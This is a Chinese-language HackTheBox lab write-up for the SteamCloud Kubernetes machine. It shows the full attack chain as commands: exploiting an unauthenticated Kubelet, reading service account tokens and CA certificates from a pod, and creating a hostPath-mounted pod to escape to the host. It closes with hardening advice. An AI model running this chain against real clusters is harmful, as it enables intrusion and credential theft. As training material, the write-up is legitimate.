HTB-steamcloud-WriteUp
字数 2371 2025-08-29 22:41:44
Kubernetes安全渗透实战:SteamCloud靶机攻防详解
1. 靶机环境概述
SteamCloud是一个基于Kubernetes (k8s)环境的渗透测试靶机,主要考察对Kubernetes集群的安全评估和渗透能力。通过这个靶机,我们可以学习到:
- Kubernetes基础服务识别
- Kubelet未授权访问漏洞利用
- 服务账户令牌(Service Account Token)获取
- Kubernetes RBAC权限提升
- 通过Pod挂载实现主机逃逸
2. 信息收集阶段
2.1 端口扫描
使用Nmap进行全面扫描:
nmap -p- -sV -sC 10.10.11.133
扫描结果摘要:
| 端口 | 服务 | 版本/备注 |
|---|---|---|
| 22 | SSH | OpenSSH 7.9p1 Debian 10+deb10u2 |
| 2379 | etcd-client | SSL证书显示主机名steamcloud,有效期2025-02-25至2026-02-25 |
| 2380 | etcd-server | 同上 |
| 8443 | Kubernetes API | 显示为minikube环境,403 Forbidden响应 |
| 10249 | Kube-Proxy | Golang net/http server |
| 10250 | Kubelet | Golang net/http server,SSL证书显示主机名steamcloud |
| 10256 | Kube-Proxy Healthz | Golang net/http server |
关键发现:
- 8443端口的Kubernetes API拒绝匿名访问
- 10250端口的Kubelet服务开放且未配置认证
2.2 Kubernetes服务识别
从扫描结果可以确认这是一个Kubernetes集群环境,主要组件包括:
- etcd (2379/2380): Kubernetes的键值存储
- kube-apiserver (8443): 集群API入口
- kubelet (10250): 节点代理,管理Pod和容器
- kube-proxy (10249/10256): 网络代理服务
3. Kubelet未授权访问漏洞利用
3.1 确认Kubelet未授权访问
Kubelet默认监听10250端口,如果配置不当可能允许未授权访问:
curl -k https://10.10.11.133:10250/pods | jq .
3.2 使用kubeletctl工具
kubeletctl是专门用于与Kubelet交互的工具:
- 列出所有Pod:
./kubeletctl_linux_amd64 pods --server 10.10.11.133
- 扫描可执行RCE的Pod:
./kubeletctl_linux_amd64 --server 10.10.11.133 scan rce
- 对特定Pod执行命令(如nginx):
./kubeletctl_linux_amd64 --server 10.10.11.133 --pod nginx --container nginx exec "whoami"
4. 获取服务账户凭证
4.1 提取Service Account Token
在可RCE的Pod中获取Kubernetes服务账户凭证:
./kubeletctl_linux_amd64 --server 10.10.11.133 --pod nginx --container nginx exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token"
4.2 提取CA证书
./kubeletctl_linux_amd64 --server 10.10.11.133 --pod nginx --container nginx exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt"
4.3 设置环境变量
export token="eyJhbGciOiJSUzI1NiIsImtpZCI6InZzZzhFMUw4eTZNYks1UGZPVmNXSGtFWHFENEhQTl9HZS1EZW5DR2JnbVkifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzcxOTg2MjY0LCJpYXQiOjE3NDA0NTAyNjQsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6ImUzMjA4NGRjLWFjNjAtNDFjNC04NjFhLTIxOGIyNGQxOTVhZiJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6Ijg3MzYzZTA3LTQ1YWUtNDNlNC05NzA3LWFhMDY4MTlmMmU4ZCJ9LCJ3YXJuYWZ0ZXIiOjE3NDA0NTM4NzF9LCJuYmYiOjE3NDA0NTAyNjQsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.Nz5JZBNDpL0tPsU_sRpfKexSrhZXgkB3kdVx72v6efSfXDuwlBnRcKHcEnFyAKN1DAtAkL49qlFRbnPLAlOHAn0Gz0iu9_k_qe8VY-lBiVLe2WDefZhe5VlprQXg3ufgu8DVkD6-xOChsaqaouFVyJhNQvyFPKipknpomTk0mX5h-cRrhPERKD1A9hcF1zDoOVjKcfqAZn8cNbQ9NYc5ywD5uXXFa0P7Qw5ETJeXwTS8KGW4JbLidoSS05JAezNL5-iV6ZqS6uALSIzioEBub9oJdQkqbjPeMI5wRe-iG9S5hvwVrc6__4L29kw-Xoi42pbt6QbuIjuLra01yQgoDQ"
5. 权限评估与提升
5.1 检查当前权限
kubectl --token=$token --certificate-authority=ca.crt --server=https://10.10.11.133:8443 auth can-i --list
5.2 创建特权Pod实现主机逃逸
如果具有创建Pod的权限,可以创建挂载主机根目录的特权Pod:
- 创建恶意Pod定义文件
nginxt.yaml:
apiVersion: v1
kind: Pod
metadata:
name: nginxt
namespace: default
spec:
containers:
- name: nginxt
image: nginx:1.14.2
volumeMounts:
- mountPath: /root
name: mount-root-into-mnt
volumes:
- name: mount-root-into-mnt
hostPath:
path: /
automountServiceAccountToken: true
hostNetwork: true
- 应用Pod配置:
kubectl --token=$token --certificate-authority=ca.crt --server=https://10.10.11.133:8443 apply -f nginxt.yaml
- 通过kubeletctl执行命令读取主机文件:
kubeletctl --server 10.10.11.133 exec "cat /root/home/user/user.txt" -p nginxt -c nginxt
6. 防御措施
基于此攻击路径,管理员应采取以下防御措施:
-
Kubelet安全配置:
- 启用Kubelet认证(--anonymous-auth=false)
- 配置适当的授权模式(--authorization-mode=Webhook)
-
RBAC最小权限原则:
- 限制Service Account权限
- 避免使用cluster-admin等过高权限
-
Pod安全策略:
- 限制特权容器(allowPrivilegeEscalation: false)
- 限制hostPath挂载
- 限制hostNetwork使用
-
网络隔离:
- 使用NetworkPolicy限制Pod间通信
- 避免Kubelet API直接暴露在公网
-
审计与监控:
- 监控异常的Pod创建行为
- 审计Kubelet API访问日志
7. 总结
通过SteamCloud靶机,我们学习了完整的Kubernetes集群渗透路径:
- 通过信息收集发现Kubelet未授权访问漏洞
- 利用漏洞获取Pod内服务账户凭证
- 评估当前服务账户权限
- 通过创建特权Pod实现主机逃逸
- 最终获取主机敏感信息
这个案例展示了Kubernetes环境中配置不当可能带来的严重安全风险,强调了安全配置和最小权限原则的重要性。